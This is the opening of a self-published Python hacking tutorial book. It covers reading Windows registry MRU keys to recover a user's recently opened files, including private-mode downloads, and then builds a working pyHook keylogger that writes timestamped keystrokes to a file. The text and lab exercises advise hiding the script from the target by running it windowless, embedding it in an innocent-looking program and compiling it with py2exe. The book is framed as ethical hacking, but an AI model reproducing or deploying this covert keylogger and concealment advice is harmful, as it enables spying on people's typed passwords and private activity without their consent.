HACKING SERIES

HACKING WITH PYTHON

The Complete Beginner's Course to Learn Ethical Hacking With Python in 7 Clear-Cut Lessons

ALPHY BOOKS

HACKING
WITH PYTHON

The Complete Beginner's Course to Learn Ethical Hacking With Python in 7 Clear-Cut Lessons - Including Dozens of Practical Examples & Exercises

By Alphy Books

Table of Contents

“I would love to change the world, but they won't give me the source code”

Unknown Author

Chapter 1
Introduction

These days, it normally goes without saying that digital security is extremely important. And, most users, most of the time, take for granted that their information is safe in the hands of the people who manage their sensitive digital activities: e-banking sites, online stores, private messages, social networks, and so on. And, of course, there is no reason to worry about the information that remains safely on our own computers. But every few months, there will be a new rash of reminders about how important digital security *really* is and how careful we should always be with our data.

The reason why something that normally *goes without saying* is so often actually said is that, even though we all understand that the security of our computer systems is crucial, we have reached a point where most of us tend to expect that the security we need has already been built into the systems we use by people who know what they are doing. This would not be a problem if it were not for the fact that, even for people who know what they are doing, implementing strong security systems is a very difficult task. For one, it is nearly, if not entirely, impossible to predict all of the possible means that unauthorized individuals could use to try to break into a system. For every exploitable feature that is identified and fixed, a dozen more may be introduced without anyone realizing it. More fundamentally, though, strong security is difficult—and perfect security is impossible—because, in order for a system to be useful, there needs to be some way for authorized users to get in. A building with no doors or windows is perfectly secure; it is also completely worthless as a building. Sometimes, just having a front door is all that it takes to give the wrong people a way inside. More concretely, any computer system, be it an operating system, a web app, or anything else, is all but guaranteed to have features that can be leveraged to do things that the creators of the system did not intend. The people who know how to search for and exploit these vulnerabilities are called hackers.

To put a very simple, concrete definition to the term, *hacking* is the act of gaining access to computer systems that you are not supposed to have access to. And, whether your intention is to become a hacker yourself or to develop

methods to keep hackers out of your own systems, you are going to need to learn how to think like a hacker. This book is designed to help you do that.

To clarify some terminology that you are likely to encounter as you learn more about this subject, I am going to take a moment to talk about hats. You will hear people describe others (or even self-identify) as *white hat*, *black hat*, or *gray hat* hackers. This distinction is a reference to the early days of cinema—westerns, in particular—when the audience could easily tell which characters were the good guys and which were the bad guys simply by the color of the hats they were wearing—the good guys always wore white, the bad guys always wore black. In the context of hacking, this provides a reasonably useful way to broadly categorize the huge variety of activities that could all be considered to be forms of hacking.

First of all, black hat hacking is the type that is most often talked about, and it is what most people think of when they hear the term *hacker*. You probably already have a decent idea of what this can include—stealing financial and personal information, taking down web servers, and so on—but, in general, black hat hacking can be characterized as any kind of hacking that breaks rules and generally leaves their targets worse off than they were before. White hat hacking, on the other hand, is done with good intentions. Most often, this means penetration testing (often shortened to *pentesting*) in which a hacker is hired or volunteers to attempt to break into a client's systems in order to locate potential security flaws. It is not uncommon for large software companies to offer rewards to hackers who warn them of vulnerabilities in their products as a supplement to their own internal security testing. Finally, gray hat hacking encompasses anything that does not fit comfortably into either of the other hats. This could be taken to mean just about anything, but most commonly refers to things like reverse-engineering and software cracking, which are often seen as ethically questionable but not detrimental to the target in the same way that a black hat hack, like stealing a server's worth of customers' personal data, might be. If you are trying to learn more about a subject, narrowing it down to one of those categories is a decent way to start your search.

Goals of this Book

This book aims to provide all of the information that an intermediate or advanced Python programmer will need to get started in the world of hacking and pentesting. As such, it mostly assumes a solid understanding of the Python language and of basic programming principles. The material may also be accessible to more novice programmers, but I would recommend that they read through the code examples much more carefully (and keep a copy of the Python documentation handy) to make sure that they understand exactly what is going on in each line.

Hacking, more than most sub-fields of programming, demands a strong grasp of the fundamentals and underlying concepts that various strategies employ. This is because almost as soon as an approach is developed to break into a system, the security experts on the other side of that system are working on a way to fix it. And they normally succeed fairly quickly. The result is that the examples of truly exciting exploits that you can find online and in books are basically all already obsolete. So, the value of understanding and learning from existing examples is not (for the most part) to gain recipes that you will be able to apply to your own real-world circumstances, but rather to provide insight into how the target systems work at a deeper level and to give you ideas of the kinds of exploits that developers may have inadvertently left open in their programs. The result of this is that there will need to be some areas of this book that primarily focus on concepts, with relatively few code examples. Obviously, this material will not be as interesting as the actual code, so I will try to keep it to the bare minimum required to understand the practical material that it supports. In case there are aspects of this support material that might be covered too quickly for some readers, I will attempt to provide all of the foundation and vocabulary that you will need to seek further material on these topics from other sources.

The specific skills that will be covered throughout the book are listed in the next Section. But, first, a quick aside: Unlike the Python community at large, the community of hackers and pentesters tends not to be particularly enthusiastic about welcoming or helping newcomers. This is not universally the case; there are some great resources available, mostly in the form of books. But you are unlikely to find communities that are willing provide advice or

assist you in working through issues as you would with programming in general. For this reason, although hacking is a popular and appealing place to start your programming adventures, it is not a very forgiving one. The point here is that I would highly recommend readers of this book to at least have a strong enough grasp of Python, and programming in general, that they are able to isolate and effectively communicate issues in their code—because, if you run into difficulty and need to ask for assistance online, you will likely need to separate the problem from the larger context of the hacking project in order to elicit any helpful results.

Structure of this Book

This book is broken up into two main chunks. I will refer to these as Parts (note the capitalization) to differentiate references to the groups of Chapters within this book from typical uses of the word *part*. The same will be done with the words Section and a few others. In general, if a word is capitalized, it is referring to the more specific or technical of the available interpretations.

In Part 1, we will cover methods that can be applied to gather information from a computer, provided you have some access to it. With the first two Chapters, we will develop tools to collect data, and in the third, we will upgrade those tools so that we can control them and access the data they collect, from outside of the target system. All of the examples in Part 1 are directed toward target systems running Windows. In particular, they have been tested using Windows 7 and may need to be adjusted to work with earlier or later editions of Windows; changes will certainly be required for them to run on other types of systems.

In Part 2, we will cover methods for exploiting networks. In particular, the examples will focus on hacking local networks. We will not make it all the way to hacking via the Internet in this book. The first Chapter quickly runs through some basic network concepts and then demonstrates a few ways of working with network traffic. In the final Chapter, we will apply that knowledge to build up a man-in-the-middle attack, one of the canonical network hacking methods.

Each chapter of this book begins with a list of *Chapter Objectives* that will let you know what to expect from the information that follows. The Chapter Objectives Section also includes a statement of the main project that we will be tackling throughout the rest of the chapter. Each chapter ends with a *Chapter Summary* that provides a quick rundown of how the objectives were addressed, as well as any other topics covered in the chapter. Finally, every chapter wraps up with a set of *Lab Exercises* that will test your understanding of the material and provide you with some practical experience implementing what you have learned.

Part 1
Hacking Local Systems

Chapter 2
Passive Forensics

Chapter Objectives

In this chapter, you will learn:

- What the Windows registry is and how it is normally used
- Where to look in the registry for information that might be useful to a hacker or pentester
- How to use Python to read values from the Windows registry

In the process, we will develop a script to collect useful data from a Windows system.

Introduction

In this Chapter, we are going to see what we can learn about a computer and the person who owns it, simply by knowing where to look. This is a good place to start our explorations into hacking for a few different reasons. First, it is relatively simple, because we will not be fighting against any serious security features. But more importantly, it provides a good illustration of how existing, built-in features of a system can be leveraged by a nefarious individual to do things that the designers did not intend. From a more practical standpoint, the methods presented here are safe and reliable first steps once you are inside of a system, whether gathering this kind of information is your end goal or just a stepping stone to another stage of your attack. *Safe* because we are not going to be doing anything that would look particularly suspicious to a security system, and *reliable* because most of the information that we will be gathering needs to stay accessible so that it can be used by other parts of the system. This means that, unlike some of the exploitable features that we will be looking at, there is no reason to expect that they will be repaired with an update or a patch; in other words, these are features, not bugs.

Major system updates may increase the amount of security used when storing these personal data, though. For example, in Windows 7, we can find network passwords in clear text, right in each user's main directory, but it seems to be the case that, from Windows 8 onward, network passwords are kept encrypted everywhere in the operating system (they can still be accessed through the UI, though). So, the reliability of these methods lies in the fact that we can be reasonably confident that they will continue working on any Windows 7 system, regardless of future updates. Unfortunately, we are not so lucky that we can extend this confidence across multiple generations of the same system.

However, most major architectural components of a system *do* remain constant —or at least similar—across multiple generations of software. The Windows registry, which we will begin to explore in the next Section, is one of these features. Focusing on finding weaknesses in these components is always a good place to start when developing a hack because it allows us to build more robust solutions, which can be used on a wider variety of target systems.

The Windows Registry

The registry is a database that Windows, and the programs that run on Windows, use to store their low-level data and settings. It has been a major feature of the Windows operating system since Windows 3.1, released in 1992, and continues to be an integral tool in the latest releases of Windows 10. So, it is safe to assume that it is operating under the hood of any Windows system you will encounter. It would not be possible to cover all of the interesting bits of information that can be gleaned from the registry in this Chapter, or even within an entire book of this size, so I will just be giving you a very quick roadmap in this Section, and then we will focus on just a few examples so that we can start working with the code.

So, here is the Windows registry described in 58 words:

The registry's structure basically acts like a bunch of nested Python dictionaries, using keys and values to form a hierarchical structure. The terminology is different, though; *key* is used to refer to the containers (i.e., the dictionary-like objects), and *values* is used to refer to what, in Python, would be the key/value pairs that contain the actual data.

There are five top-level keys:

- *HKEY_CLASSES_ROOT*: holds information about the applications installed on the system. This includes things like file type associations.

- *HKEY_CURRENT_USER*: holds information about the user that is currently logged in. This is actually just a link to the appropriate subkey of *HKEY_USERS* and contains all of the same information.

- *HKEY_LOCAL_MACHINE*: holds settings that apply to the entire local computer. This is where the most interesting information, for our purposes, can be found.

- *HKEY_USERS*: holds settings for all of the users of the local computer.

- *HKEY_CURRENT_CONFIG*: holds information gathered at startup about the local computer. There is not much interesting information stored here.

A good way to get a feel for how the registry is structured is to explore it using the Registry Editor, which is included with Windows. To get there, type "regedit" into the Run bar on the Start menu. This allows you to browse through registry keys and manually view/edit the values. But, that is a time-consuming and conspicuous process, so we are going to write a script to grab some interesting values for us.

Recent Documents

To get an idea of the kinds of information that can be found in the registry, we are going to look at one useful example. We are going to fetch a list of the most recently opened/saved documents. By default, Windows keeps a history of the most recently used files, which it stores in the key:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explo

But a security-conscious user can disable this feature, making it an unreliable target. Luckily for us, there are other locations in the registry where similar information is stored, which cannot be disabled using normal Windows settings. We are going to start by looking at one of those locations:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explo

Breaking this path down might help in understanding how the registry is structured. Given what we learned in the previous Section, the first part of this key path should be mostly self-explanatory; we want to look at some data related to Windows, and more specifically, to Windows Explorer, which is the shell through which most of the user-visible tasks related to the file system are run in Windows. The last two parts of the path might need some unpacking, though. *ComDlg32* is an abbreviation for *common dialog*; *OpenSave* specifies which of the standard Windows dialogs we care about; *Pidl* stands for *pointer to an item identifier list*, which indicates how the data are stored; and *MRU* stands for *most recently used*, which is a tag used a few places in the registry to indicate keys that are used to hold recent activity history. So, the data that we will see in this key are the history from the standard open/save dialog, which most Windows programs go through any time a file is opened or saved. If you navigate to this key in Regeditor, you will see that it contains a list of subkeys corresponding to different file types. For example:

|- OpenSavePidlMRU
  |- *
  |- docx
  |- py
  |- reg

|- ...

The "*" subkey holds the twenty most recently opened/saved files regardless of file type; all of the others contain the most recent files of each corresponding type to be opened or saved. Obviously, the filetype-specific subkeys are most useful if you already have some idea of what you are looking for. For example, many users will have a spreadsheet somewhere on their computer that they use to organize their website login information, which could be enormously useful to both hackers and pentesters. If the user has recently accessed or saved that document through the standard Windows dialog in Excel, then it will appear under the *xls* or *xlsx* subkey. For the sake of completeness, we will be grabbing the values for all of the subkeys that we can.

It should be noted that the key and subkeys that we are looking at will not contain *all* of the files that a user has accessed. If a file is opened from the desktop or from inside the file explorer, the common dialog will not be called, so it will not appear here. A record of that activity will almost certainly appear somewhere else in the registry (most notably, *HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explo* keeps records of basically everything that happens in Explorer, such as when and how often files and programs are opened. But the data are stored in an odd format that would take too long to cover in this Section). But there are also activities that will be recorded in ComDlg32 that might not be stored elsewhere, so this is still a good place to check out while you're doing reconnaissance work. Notably, if a user has downloaded a file through a browser while in private mode, the browser will not keep a record, and if the user has not opened the downloaded file yet, it will not appear in any of the other MRU locations. *But*, even in private mode, the browser needs to ask the user where they would like to save the file and will do so through the common dialog, so a record will be left in this key. So much for private browsing!

So, now we know what we're looking for. Let's get started with the actual code. In the standard library, Python helpfully includes a module called *_winreg* that does most of the heavy lifting for us when accessing the registry. This library has been designed to allow developers to use the registry to store their own programs' settings, as Microsoft intended. But, by facilitating access for legitimate purposes, *_winreg* also simplifies access for our not-quite-

legitimate purposes. Recall what I have said about leveraging existing features to do things that the creators did not have in mind. Let's import *_winreg* and write some functions to see how it works:

```
from _winreg import *

def get_subkeys(key):
    for i in range( QueryInfoKey(key)[0] ):
        name = EnumKey(key, i)
        yield (name, OpenKey(key, name))
```

Walking through *get_subkeys*, we can see that *_winreg* makes working with the registry in Python very straightforward. The interesting parts here: *QueryInfoKey* is a function that takes a registry location, in the form of an open *PyHKEY* object (more on that in a moment), and returns some information about the key that it finds there in the form of a triple containing (respectively) the number of subkeys stored under this key, the number of values stored in this key, and an integer representing the last time the key was modified. In the first line of *get_subkeys*, we use this function to set up a loop through all of the subkeys stored under *OpenSavePidlMRU*. We then use the loop index in the function *EnumKey*, which gives us the name of the subkey corresponding to that index. Finally, we yield an ordered pair containing the subkey's name and a newly opened *PyHKEY* object so that we can get to its values in the next step. The *yield* keyword tells Python that we want the function to return a list of these pairs once the loop is finished. This is functionally very similar—but not equivalent—to initializing a new list and appending a pair to it on each iteration, but this method is more concise and makes our code a little bit cleaner. The difference is that, rather than a normal *list* object, functions that use *yield* return a *generator* object, which lacks some of the capabilities of a *list* but will be fine for our purposes. The *generator* object's main feature (which might be seen as an advantage or a disadvantage, depending on your needs) is that the content of the loop is not called until that value of the list is called somewhere else in the program.

Next, we will want to iterate through the values inside of each of the subkeys, so let's write a similar function to handle that.

```
def get_values(key):
    for i in range( QueryInfoKey(key)[1] ):
        name, value, val_type = EnumValue(key, i)
        yield (name, value)
```

The same basic concepts are at play here. The only differences are that we are using a different value from the output of *QueryInfoKey* and we are using *EnumValue* instead of *EnumKey*, which works exactly the same way but iterates over values rather than keys, as the name would suggest.

Finally, let's throw in a function to interpret the modification time that is returned from*QueryInfoKey*. Here, and many other places in the registry, a timestamp is represented by a long integer value corresponding to the number of 100 nanosecond periods since January 1st, 1601 (this is just how Microsoft stores date-time information). Converting this into a Python *Datetime* object is quite simple.

```
def time_convert(ns):
    return datetime(1601, 1, 1) + timedelta(seconds=ns/1e7)
```

Now we have what we need to start reading the registry. *PyHKEY* objects have been mentioned a few times now; let's see how they work by opening one up to *OpenSavePidlMRU*.

```
loc =
r"Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSave
with OpenKey(HKEY_CURRENT_USER, loc, 0, KEY_READ |
KEY_WOW64_64KEY) as mru:
```

The first line is simply assigning the key path to a variable to keep the length of the second line manageable. In the second line, we use the *OpenKey* function to create a new *PyHKEY* object, which we will use to interact with the registry key. *OpenKey* has two required arguments. The first is an existing, previously opened key object—or, as I am using here, one of the built-in constants corresponding with the top-level keys that I discussed in the previous Section. The second argument is the name of the subkey that you intend to open. Simple enough, right? The *0* does not actually do anything (I mean this literally; the

documentation says that it's "a reserved integer, and must be zero," and nothing else). Finally, the *KEY_READ | KEY_WOW64_64KEY* tells *_winreg* that, on 64-bit systems, it should be using the 64-bit registry. I have chosen to use the *with* structure here to ensure that the key is properly closed when the script completes.

We now have of the machinery in place to start looping through the registry keys and collecting data:

```
for subkey in get_subkeys(mru):
    modtime = time_convert(QueryInfoKey(subkey[1])[2])
    print u"\n\n{}: modified {}".format(subkey[0], modtime)
    for value in get_values(subkey[1]):
        print u"\t{}:\n\t\t{}".format(value[0], parse_bin(value[1]))
        subkey[1].Close()
```

So, in this chunk, we are looping through all of the subkeys (i.e., one for each file format, plus "*"). Recall that we wrote *get_subkeys,* so that returns a list of ordered pairs containing the key name and open key object. We call our time conversion function on the time value of when the key was most recently modified, print the name and modification time of the key, and then start looping through all of the values of the subkey (i.e., the most recently opened/saved files for each format). Once we are done with each key, we call its *Close* method. This is not strictly necessary, as Python will close them out automatically as part of its normal garbage collection duties, but by closing the keys as soon as we are done with them, we limit the footprint of our program on the registry by ensuring that only two keys are open at any given time: *mru* and the current value of *subkey*. This is the real advantage of using the *yield* construction in *get_subkeys* over building up a list and returning that. Rather than looping through every key at once and opening all of them, the generator object that is returned by a function that uses *yield* waits to evaluate each iteration of the loop until we call for it from the outer loop (i.e., the one defined by the line *for subkey in get_subkeys(mru)*). This gives us a chance to close each subkey before the next one is opened. From the standpoint of avoiding detection, this is almost certainly overkill, but it is also good programming practice, so it is worth incorporating this into your own code where you can.

You will notice that I called the function *parse_bin*, which we have yet to define. This is a function that accepts the binary value stored in the registry and returns a string representation of its contents. We need to write that function, but the format used for the binary values is not clearly explained in any of Microsoft's documentation. These values were only meant for internal use, after all. So, to get anything out of them, we will need to try a few different ways of interpreting the data.

Let's start with one of the most obvious methods: just looking at the raw hexadecimal representation of the data. On 64-bit systems, the values are broken up into rows of eight hex numbers (each hex number represents one byte; 8 bytes times 8 bits per byte gives us 64 bits per row), so we might learn something by looking at them in that form:

```
def parse_bin(bin_data):
    nhex = ["{:02X}".format(ord(i)) for i in bin_data]
    rows = [" ".join(nhex[row*8:(row+1)*8]) for row in range(len(nhex)/8)]
    return "\n\t\t".join(rows)
```

We start by breaking up the data into a list of hex numbers in string format, then we join those strings into rows with eight values each, and finally, we join those rows into a single string value, separated by a newline character (and some tabs to make the output more readable). Let's see what the output looks like using this function:

```
txt: modified 2015-12-03 16:47:40.180876
    0:
        14 00 1F 44 47 1A 03 59
        72 3F A7 44 89 C5 55 95
        FE 6B 30 EE 8A 00 74 00
        1E 00 43 46 53 46 18 00
        31 00 00 00 00 00 4F 47
        58 B1 11 00 47 4F 4F 47
        4C 45 7E 31 00 00 00 00
        etc....
```

So, that method does not tell us much, except that, if you look carefully, the data are periodically broken up by rows where all of the hex values are *00*. This could be a coincidence, but it might also be a way to mark the break between different chunks of data; this is something worth testing. Other than that, we can at least tell that everything else in the script is working properly, and by comparing the values that we see in our script output with the values that we see in Regedit, we can ensure that the right data are being collected. Now we just need to play around with *parse_bin* until it gives us something that we can actually read. If our goal is simply to find the file path, we can just try decoding the whole thing as if it were text and checking the result. This will garble any data that are not supposed to be interpreted as text (e.g., long integers used for timestamps), but it is much easier to identify meaningful text data by eye than it is to identify meaningful numerical data, so it is a good place to start. And it is all that we need for our purposes.

I will spare you a lot of trial and error by just showing you a working version of the function:

```
import string

def parse_bin(bin_data):
    out = ""
    blocks = bin_data.split(chr(00)*8)
    for block in blocks:
        out += '\n\t\t'
        out += block.decode('utf-8', errors='ignore')
    return filter(lambda x: x in string.printable, out)
```

After initializing the output variable, this version of the function splits the data into chunks based on the observation that I mentioned above about the rows with only *00* values. In this case, it does appear that these lines indicate a break in the data, but that might not have been the case. Then, block by block, it tries to decode the binary data as UTF-8 encoded text, skipping over anything that does not fit into that encoding. If you tried to print *out* as-is, the corrupted non-text data would appear as a lot of non-standard characters, which wouldn't give us any new information. So, in the last line, we filter out all non-standard characters so that we are only left with things that might be human-

readable.

Now let's run the script to see what it gives us. I downloaded some images from Wikimedia using Chrome's Incognito mode, so ostensibly my tracks should be covered. But look at the following values collected from the *jpg* key:

```
   5:

      B%H{M1FLt#;NPA*


       *+BMM>dz[iE_  H@


      1SPS0%G`m
.Viborg_by_night_2014-11-04_exposure_fused.jpg

1SPSjc(=OwH@Y EPO :i+00/C:\

      t1GfUsers`:Gf*<
      6Users@shell32.dll,-21813`1GAUTHORS~1HH=}G*b
      The Author~1hGSPicturesfH=}hGS*
      <Pictures@shell32.dll,-217792
      Viborg_by_night_2014-11-04_exposure_fused.jpg
      *


      Viborg_by_night_2014-11-
04_exposure_fused.jpg<m.Viborg_by_night_2014-11-
04_exposure_fused.jpg.jpg
      1SPS@>+lG7*"NC:\Users\The Author\Pictures\Viborg_by_night_2014-
11-04_exposure_fused.jpg%picture
```

Some of that is nonsense left over from other types of data, but the file path is clearly visible at the end of the entry. Presumably, these registry values also contain information such as what time the open/save occurred and what application performed the action, but even with this naive approach at

decoding, we have recovered a potentially useful bit of datum. Putting all of this together, here is our final script:

```
from _winreg import *
from datetime import *
import string

def get_subkeys(key):
    for i in range( QueryInfoKey(key)[0] ):
        name = EnumKey(key, i)
        yield (name, OpenKey(key, name))

def get_values(key):
    for i in range( QueryInfoKey(key)[1] ):
        name, value, val_type = EnumValue(key, i)
        yield (name, value)

def time_convert(ns):
    return datetime(1601, 1, 1) + timedelta(seconds=ns/1e7)

def parse_bin(bin_data):
    out = ""
    blocks = bin_data.split(chr(00)*8)
    for block in blocks:
        out += '\n\t\t'
        out += block.decode('utf-8', errors='ignore')
    return filter(lambda x: x in string.printable, out)


loc =
r"Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSave
with OpenKey(HKEY_CURRENT_USER, loc, 0, KEY_READ |
KEY_WOW64_64KEY) as mru:

    for subkey in get_subkeys(mru):
        modtime = time_convert(QueryInfoKey(subkey[1])[2])
        print u"\n\n{}: modified {}".format(subkey[0], modtime)
```

```
    for value in get_values(subkey[1]):
        print u"\t{}:\n\t\t{}".format(value[0], parse_bin(value[1]))
    subkey[1].Close()
```

Knowing the location of a privately downloaded picture might seem like a relatively innocuous example, but recall that these records are kept for every program that uses the standard save/open dialog, which is a majority of programs that run on Windows. Also, this is not a setting that can be turned off by the user. That makes this script in particular a powerful forensics tool, but this only scratches the surface of the information that is stored in the registry.

Conclusion

In this chapter, we learned:

- What the Windows registry is and how it is normally used
- Where to look in the registry for information that might be useful to a hacker or pentester
- How to use Python to read values from the Windows registry

Lab Exercises

1. The registry key that we explored in this Chapter, *ComDlg32\OpenSavePidlMRU*, had a relatively simple structure; the key itself only contained subkeys, and these subkeys contained values, but no subkeys. This is not always the case, as a key can contain both subkeys and values, as you might expect from the output of *QueryInfoKey*. Improve the script given in the Chapter so that it does not assume anything about the structure of the key.

   Bonus: Because the interpretation of binary registry values varies, to make our script truly general, we would need to settle for just grabbing the binary data in their raw form. But, for values that we actually know how to interpret, this would be less than ideal. So, expand the script to identify values with known formats and apply the appropriate parsing function.

2. Another useful technique when investigating registry data, particularly in determining the format of binary values, is direct experimentation. For example, in this Chapter, we settled for a very rough decoding of the binary data that we found. Your mission is to improve upon the decoding in the Chapter by opening and saving several files from within a few different programs. This allows you to know what you are looking for, because you now know the programs that called the dialog, the files' names and paths, and a rough time when the saving/opening occurred.

3. Another interesting location in the registry is *HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList*, which stores information about the wireless networking history of the computer. There are two subkeys that you might want to look at:

   – *HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Unmanaged* contains information about the actual networks that the computer has connected to—for example, the MAC address of the access point and SSID.

– *HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles* contains timestamps for the first and latest connections to those networks.

Write your own version of the script from this Chapter that grabs these data from the registry. Here are a couple of things to note:

– Each entry in *Signatures\Unmanaged* contains a value named *ProfileGuid* that refers to the corresponding subkey in *Profiles*. Ideally, your solution will take this into account and store the information from both sources in the same place.

– These entries contain values that require varying degrees of interpretation. Most of the values are stored as strings and will be returned by *_winreg* as such. The access point MAC address, though, is stored as a binary value, but has a straightforward interpretation. The timestamps in *Profiles*, however, are stored in a rather odd format. Deciphering these data would be a good way to practice your digital forensics skills, but if you would like to skip this step, working interpretation functions are included in the solution in the back of the book. Or you can just record the values in raw form.

4. The script that we built in this Chapter allows us to gather the information that we want quickly, but it lacks a couple of features that would make it much more useful:

    1. Running the script discretely in its current form is not really an option. You either need to run it from the command prompt or run it from inside Explorer, which automatically opens a new command prompt window. Both of these options leave an open window that might tip someone off that you are up to no good. First, you will need to convert the output portions of the script to write into a file rather than printing to stdout. From there, you have at least two options:

        1. Save the file using the .pyw extension, which prevents Python from opening the command prompt window.

2. If you think that you might have someone watching over your shoulder, which would make option (i)—double-clicking a Python file that apparently does nothing—look strange, you can include the code inside of another, more innocent-looking Python project. Obviously, how you handle this will depend on the type of program in which you will be hiding the code.

2. We would like this script to be as portable as possible, and as it is given in this Chapter, the script cannot run on a system that does not have Python installed. You have at least two options for correcting this:

    1. Load the script onto a flash drive along with a mobile Python installation like WinPython. The advantage to this method is that you can open the file and modify the code if you need to.

    2. Compile the script into an executable file using a package like *py2exe*. We will talk about this option a bit more in the next Chapter.

Chapter 3
Active Surveillance

Chapter Objectives

In this chapter, you will learn:

- How to use Python to capture keystrokes
- How to use Python to capture screenshots
- How to compile a Python script into a executable file using *py2exe*
- How to a setup a Python script to run when a user logs in to Windows

In the process, we will develop a script to record a user's keystrokes and periodically capture images from their screen.

Introduction

So, we've seen what we can learn from a Windows system by simply poking around in its existing file system, but that is not very exciting. In this Chapter, we will develop some tools for actively spying on the activities of a user. This differs from the last Chapter in that the useful data we gather will be generated by our own scripts rather than as a part of the operating system's normal processes.

Logging Keyboard Input

Let's take a look at a completely stripped-down keylogging script; we can begin adding useful features from there. The following script listens for keystrokes and prints them to stdout as they occur. So, here is the code:

```
import pyHook
import pythoncom

def keypress(event):
    if event.Ascii:
        char = chr(event.Ascii)
        print char

        if char == "~":
            exit()

hm = pyHook.HookManager()
hm.KeyDown = keypress
hm.HookKeyboard()
pythoncom.PumpMessages()
```

We begin by importing two libraries. The first is *pyHook*, which is what will allow us to listen for low-level input activity like keystrokes and mouse movements. *pyHook* acts as a Python-friendly wrapper for the Windows Hooking API, which is the primary way that applications receive low-level input from the OS. *pyHook* is not available through PyPI, but can be downloaded from the project's SourceForge page *here*. The second library is *pythoncom*, which is a wrapper around the Windows OLE Automation API, one of the toolkits that Microsoft provides to allow processes to communicate with each other. We will be using *pythoncom* to feed input notifications into *pyHook*. *pythoncom* is available through PyPI as a submodule of the Python for Windows Extensions library, *pywin32*. This can be installed through pip by running the command *pip install pywin32*. Now, let's move on to the actual code.

After the initial imports, we define a function, *keypress*, which receives an

event object, interprets it, and then responds based on the content of the *event*. This is where most of our improvements will be going as we expand this script. In this basic form, it checks whether the input event was an ASCII character, and, if it is, prints it to stdout. Then we check whether the input character was "~" and, if it is, exit the script. This exit option is useful while testing the script, but is obviously not a feature that you would want your target to have access to. So, remember to comment out that *if* statement before unleashing your keylogger into the world.

In the last four lines of the script, we instantiate a *HookManager* object, which is the main workhorse of the *pyHook* library. We then tell the *HookManager* that it should respond to keystrokes by sending them to our *keypress* function and then call the *HookKeyboard* method to tell it to start listening for keyboard input. Finally, we use the function *pythoncom.PumpMessages* to begin passing input to the *HookManager*.

If you fire up this script and type a few words, you will see that each time you press a key, the corresponding symbol is printed on a new line. When you type a "~" character, the script exits, as expected. So, the capturing features are working, but in its current form, the output leaves much to be desired.

The biggest problem right now is that the output is being printed to the screen where the user could clearly see that their activity is being tracked, and once the program exits, the output is lost, making the whole script pretty useless as a way of collecting information. Another, less fundamental issue is that, in addition to seeing *what* the user is typing, it would be helpful to know *when* they were typing it. We can solve both of these problems by introducing the following function:

```
from datetime import *
import os

root_dir = os.path.split(os.path.realpath(__file__))[0]
log_file = os.path.join(root_dir, "log_file.txt")

def log(message):
    if len(message) > 0:
```

```
    with open(log_file,"a") as f:
        f.write("{}:\t{}\n".format(datetime.now(), message))
        # print "{}:\t{}".format(datetime.now(), message)
```

Now we have an actual keylogging script rather than a key*watching* script. First, we add the standard *datetime* library to our block of *import* statements so that we can include timestamps in the logs. Then we define a file name where we will begin storing the data that we record. Finally, we have the *log* function, which takes a string value and writes it, in *append* mode, to the log file. While testing the script, if you would like to see what is being written to the log in real time, uncommenting the last line will cause the same messages to be printed to stdout as the script runs.

Next we need to update the rest of the code to use the *log* function. While we're at it, there are two other improvements to be made. You may have noticed that the script printed odd characters anytime a non-character key, like Enter or Backspace, was pressed. It would be nice to put those into a more legible format. Also, logging one character per line does not produce a very readable output, and recording a timestamp for every keystroke would just be gratuitous. So, it would also be nice if we could log contiguous chunks of typed input all at one time. This will make it easier to interpret the logs and will also have the advantage of limiting the frequency with which we are opening, modifying, and closing the log file. For simplicity, we can try breaking up the input and logging what we have recorded every time the user hits the Enter key. Here is what *keypress* looks like once we have made these changes:

```
buffer = ""

def keypress(event):
    global buffer

    if event.Ascii:
        char = chr(event.Ascii)

        if char == "~":
    log(buffer)
```

```
        log("---PROGRAM ENDED---")
        exit()

    if event.Ascii==13:
        buffer += "<ENTER>\n"
        log(buffer)
        buffer = ""
    elif event.Ascii==8:
        buffer += "<BACKSPACE>"
    elif event.Ascii==9:
        buffer += "<TAB>"
    else:
        buffer += char
```

Walking through this code, now that we are no longer logging input immediately as it is received, we will need somewhere to store it between log updates. We do this by defining a global variable *buffer*, which will contain a string of all of the input received since the last time we wrote to the log file. Now, on to *keypress*. We are going to need to update the value of *buffer* from inside the function, so we use the *global* keyword to specify that we want to use the existing variable *buffer* rather than declaring a new local variable with the same name, which is how Python would normally handle things. The next difference is that, when the script exits, we log the current value in the buffer followed by a message that will allow us to tell, in the log, when the script was started or stopped. Then we have a block of conditionals that catch special, non-character keys and inserts human-readable tags rather than the strange characters that were being printed before. In the case that the Enter key is pressed, the buffer is written to the log and then emptied. If the key that was pressed represents a normal character, it is simply appended to the buffer as-is.

This solution works, but you may notice that it is not actually very common for logical breaks in typing to correspond with presses of the Enter key. A more natural way to break up the input into log entries would be to pay attention to the time gap between keystrokes. Several keystrokes in a row with very little delay between them should be treated as part of the same chunk of typing and should be logged together, but if the user takes a moment between two stretches

of typing, we should treat them as separate. This may not be an entirely necessary improvement, but it will result in a log that more accurately reflects what was being typed by the user.

So, our goal now is to detect pauses in typed input and to use those to determine when to write the buffer into the log file. Let's start by defining some values:

```
pause_period = 2
last_press = datetime.now()

pause_delta = timedelta(seconds=pause_period)
```

pause_period is the span of time, in seconds, that must pass between two runs of typing in order for them to be logged separately, and *last_press* is where we will store a *datetime* object corresponding to the time of the most recent input event. *pause_delta* is simply *pause_period* represented as a *timedelta* object so that we can use it in calculations. Now, here are the modifications that we need to make to *keypress*:

```
def keypress(event):
    global buffer, last_press
    if event.Ascii:
        char = chr(event.Ascii)

        if char == "~":
    log(buffer)
            log("---PROGRAM ENDED---")
            exit()

        pause = datetime.now()-last_press
        if pause >= pause_delta:
            log(buffer)
            buffer = ""

        if event.Ascii==13:
            buffer += "<ENTER>"
```

```
        elif event.Ascii==8:
            buffer += "<BACKSPACE>"
        elif event.Ascii==9:
            buffer += "<TAB>"
        else:
            buffer += char
